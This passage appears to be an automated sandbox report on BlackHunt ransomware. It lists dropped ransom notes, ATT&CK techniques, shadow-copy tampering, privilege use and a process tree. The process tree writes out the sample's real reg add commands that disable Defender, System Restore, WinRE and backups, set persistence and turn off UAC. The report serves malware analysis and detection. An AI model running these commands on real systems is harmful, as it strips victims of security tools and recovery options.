File created	C:\Program Files\Java\jre7\lib\zi\Asia\#BlackHunt_Private.key	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Lindeman	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Port_Moresby	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\cpyr.htm	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_ReadMe.hta	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-execution.xml	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-highlight.png	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576_91n92.png	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-progress-ui.xml	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_ja.jar	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Merida	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\curtains.png	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.hta	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert_5.5.0.165303.jar	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-filesystems.xml	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_ja.jar	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_notes-txt-background.png	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\javafx.properties	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Dawson	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-execution.xml	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Manila	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_Private.key	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Kaliningrad	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jre7\lib\#BlackHunt_Private.key	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Gambier	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_Private.key	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\SecretST.TTF	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\alt-rt.jar	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\javaws.policy	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Havana	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_ReadMe.hta	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Pangnirtung	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\license.html	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2232	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2524	vssadmin.exe
1172	vssadmin.exe
236	vssadmin.exe
612	vssadmin.exe
880	vssadmin.exe
1732	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2460	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1872	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
564	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Token: SeRestorePrivilege	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Token: SeBackupPrivilege	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Token: SeTakeOwnershipPrivilege	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Token: SeAuditPrivilege	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Token: SeSecurityPrivilege	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Token: SeIncBasePriorityPrivilege	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Token: SeBackupPrivilege	2780	vssvc.exe
Token: SeRestorePrivilege	2780	vssvc.exe
Token: SeAuditPrivilege	2780	vssvc.exe
Token: SeBackupPrivilege	1468	wbengine.exe
Token: SeRestorePrivilege	1468	wbengine.exe
Token: SeSecurityPrivilege	1468	wbengine.exe
Token: SeSecurityPrivilege	932	wevtutil.exe
Token: SeBackupPrivilege	932	wevtutil.exe
Token: SeSecurityPrivilege	2812	wevtutil.exe
Token: SeBackupPrivilege	2812	wevtutil.exe
Token: SeSecurityPrivilege	1540	wevtutil.exe
Token: SeBackupPrivilege	1540	wevtutil.exe
Token: SeSecurityPrivilege	1708	wevtutil.exe
Token: SeBackupPrivilege	1708	wevtutil.exe
Token: SeSecurityPrivilege	2232	wevtutil.exe
Token: SeBackupPrivilege	2232	wevtutil.exe
Token: SeDebugPrivilege	2460	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 2328	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	32
PID 2176 wrote to memory of 2328	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	32
PID 2176 wrote to memory of 2328	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	32
PID 2176 wrote to memory of 2328	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	32
PID 2176 wrote to memory of 2688	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	29
PID 2176 wrote to memory of 2688	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	29
PID 2176 wrote to memory of 2688	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	29
PID 2176 wrote to memory of 2688	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	29
PID 2176 wrote to memory of 2756	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	36
PID 2176 wrote to memory of 2756	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	36
PID 2176 wrote to memory of 2756	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	36
PID 2176 wrote to memory of 2756	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	36
PID 2328 wrote to memory of 2772	2328	cmd.exe	35
PID 2328 wrote to memory of 2772	2328	cmd.exe	35
PID 2328 wrote to memory of 2772	2328	cmd.exe	35
PID 2176 wrote to memory of 2808	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	33
PID 2176 wrote to memory of 2808	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	33
PID 2176 wrote to memory of 2808	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	33
PID 2176 wrote to memory of 2808	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	33
PID 2176 wrote to memory of 2692	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	40
PID 2176 wrote to memory of 2692	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	40
PID 2176 wrote to memory of 2692	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	40
PID 2176 wrote to memory of 2692	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	40
PID 2688 wrote to memory of 2800	2688	cmd.exe	37
PID 2688 wrote to memory of 2800	2688	cmd.exe	37
PID 2688 wrote to memory of 2800	2688	cmd.exe	37
PID 2176 wrote to memory of 2776	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	38
PID 2176 wrote to memory of 2776	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	38
PID 2176 wrote to memory of 2776	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	38
PID 2176 wrote to memory of 2776	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	38
PID 2176 wrote to memory of 2796	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	118
PID 2176 wrote to memory of 2796	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	118
PID 2176 wrote to memory of 2796	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	118
PID 2176 wrote to memory of 2796	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	118
PID 2176 wrote to memory of 2964	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	117
PID 2176 wrote to memory of 2964	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	117
PID 2176 wrote to memory of 2964	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	117
PID 2176 wrote to memory of 2964	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	117
PID 2176 wrote to memory of 2684	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	44
PID 2176 wrote to memory of 2684	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	44
PID 2176 wrote to memory of 2684	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	44
PID 2176 wrote to memory of 2684	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	44
PID 2176 wrote to memory of 2716	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	46
PID 2176 wrote to memory of 2716	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	46
PID 2176 wrote to memory of 2716	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	46
PID 2176 wrote to memory of 2716	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	46
PID 2808 wrote to memory of 2596	2808	cmd.exe	45
PID 2808 wrote to memory of 2596	2808	cmd.exe	45
PID 2808 wrote to memory of 2596	2808	cmd.exe	45
PID 2692 wrote to memory of 2660	2692	cmd.exe	116
PID 2692 wrote to memory of 2660	2692	cmd.exe	116
PID 2692 wrote to memory of 2660	2692	cmd.exe	116
PID 2176 wrote to memory of 2548	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	115
PID 2176 wrote to memory of 2548	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	115
PID 2176 wrote to memory of 2548	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	115
PID 2176 wrote to memory of 2548	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	115
PID 2176 wrote to memory of 2564	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	47
PID 2176 wrote to memory of 2564	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	47
PID 2176 wrote to memory of 2564	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	47
PID 2176 wrote to memory of 2564	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	47
PID 2756 wrote to memory of 2600	2756	cmd.exe	113
PID 2756 wrote to memory of 2600	2756	cmd.exe	113
PID 2756 wrote to memory of 2600	2756	cmd.exe	113
PID 2176 wrote to memory of 2624	2176	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe	112

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
"C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
